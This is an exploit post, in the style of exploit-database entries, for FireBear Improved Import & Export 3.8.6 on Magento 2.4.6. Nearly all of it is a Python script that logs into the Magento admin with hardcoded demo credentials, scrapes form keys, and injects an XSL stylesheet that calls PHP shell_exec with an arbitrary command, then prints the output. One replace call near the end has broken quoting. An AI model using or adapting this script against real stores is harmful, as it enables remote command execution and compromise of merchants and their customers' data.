FireBear Improved Import And Export 3.8.6 XSLT Server Side Injection

Exploit Title: FireBear Improved Import & Export ver. 3.8.6 for Magento 2.4.6  - XSLT Server Side Injection Command Execution
# Date: 2023-11-17
# Exploit Author: tmrswrr
# Vendor Homepage: https://commercemarketplace.adobe.com/
# Software Link:  https://commercemarketplace.adobe.com/firebear-importexport.html
# Version: FireBear ver. 3.8.6
# Tested on: Magento 2.4.6

Poc:

https://github.com/capture0x/Magento-ver.-2.4.6/

Exploit:

import requests
from bs4 import BeautifulSoup
import re
import json 
import sys


if len(sys.argv) != 3:
    print("Usage: python exploit.py <base_url> <command>")
    sys.exit(1)


base_url = sys.argv[1]
command = sys.argv[2]

base_url = base_url.rstrip('/') + '/'
login_page_url = base_url + "admin/"
login_action_url = base_url + "admin/"
import_job_edit_url = base_url + "import/job/edit/entity_id/21/"

 
session = requests.Session()

 
response = session.get(login_page_url)
soup = BeautifulSoup(response.text, 'html.parser')


form_key = soup.find('input', {'name': 'form_key'})['value']


login_payload = {
    'form_key': form_key,
    'login[username]': 'demo',
    'login[password]': '1q2w3e4r5t'
}

 
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36'
}

 
login_response = session.post(login_action_url, headers=headers, data=login_payload)

 
if login_response.ok and login_response.history:
    print("Login successful!")
    redirected_url = login_response.url
    print("Redirected URL:", redirected_url)

     
    import_job_edit_response = session.get(import_job_edit_url)
    soup = BeautifulSoup(import_job_edit_response.text, 'html.parser')


    second_form_key = soup.find('input', {'name': 'form_key'})['value']
    print("Extracted Key")
    
    key = re.findall(r'key/(.*?)/', login_response.url)[0]

     
    second_post_url = f"{base_url}import/job/xslt/key/{key}/?isAjax=true"
    


    
    second_post_payload = f"form_data%5B%5D=file_path%2Bpub%2Fmedia%2Fimportexport%2Fh%2Fe%2Fhello_39.xml&form_data%5B%5D=xslt%2B%3C%3Fxml+version%3D%221.0%22+encoding%3D%22utf-8%22%3F%3E%0A%3Cxsl%3Astylesheet+version%3D%221.0%22%0Axmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%0Axmlns%3Aphp%3D%22http%3A%2F%2Fphp.net%2Fxsl%22%3E%0A%3Cxsl%3Atemplate+match%3D%22%2F%22%3E%0A%3Cxsl%3Avalue-of+select%3D%22php%3Afunction('shell_exec'%2C'{command}')%22+%2F%3E%0A%3C%2Fxsl%3Atemplate%3E%0A%3C%2Fxsl%3Astylesheet%3E&form_data%5B%5D=import_source%2Bfile&form_data%5B%5D=type_file%2Bxml&form_data%5B%5D=host%2B&form_data%5B%5D=port%2B&form_data%5B%5D=username%2B&form_data%5B%5D=password%2B&form_data%5B%5D=type_file%2Bxml&form_data%5B%5D=import_source%2Bfile&form_data%5B%5D=file_upload%2B&form_data%5B%5D=predefined_structure%2B0&form_data%5B%5D=file_path%2Bpub%2Fmedia%2Fimportexport%2Fh%2Fe%2Fhello_39.xml&form_data%5B%5D=import_images_file_dir%2B&form_data%5B%5D=scan_directory%2B0&form_data%5B%5D=deferred_images%2B0&form_data%5B%5D=delete_file_after_import%2B0&form_data%5B%5D=archive_file_after_import%2B0&form_data%5B%5D=image_import_source%2B0&form_data%5B%5D=remove_current_mappings%2B0&form_data%5B%5D=associate_child_review_to_configurable_parent_product%2B0&form_data%5B%5D=associate_child_review_to_bundle_parent_product%2B0&form_key={second_form_key}"

   
    second_post_headers = {
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',
        'Referer': import_job_edit_response.url   
    }

     
    second_post_response = session.post(second_post_url, headers=second_post_headers, data=second_post_payload)

     
    if second_post_response.ok:
        print("XSL Imported!")
        response_json = json.loads(second_post_response.text)
        
        result_xml = response_json.get("result", "")
        if result_xml is not None:
        
             result_xml = result_xml.replace("<?xml version="1.0"?>", "n")
        
        else: 
        
             result_xml = "No Output found in the response."
        
        print("Output:", result_xml)
        

    else:
        print("Import failed.")
        print("Status Code:", second_post_response.status_code)
        print("Response:", second_post_response.text)

else:
    print("Login failed.")

 
session.close()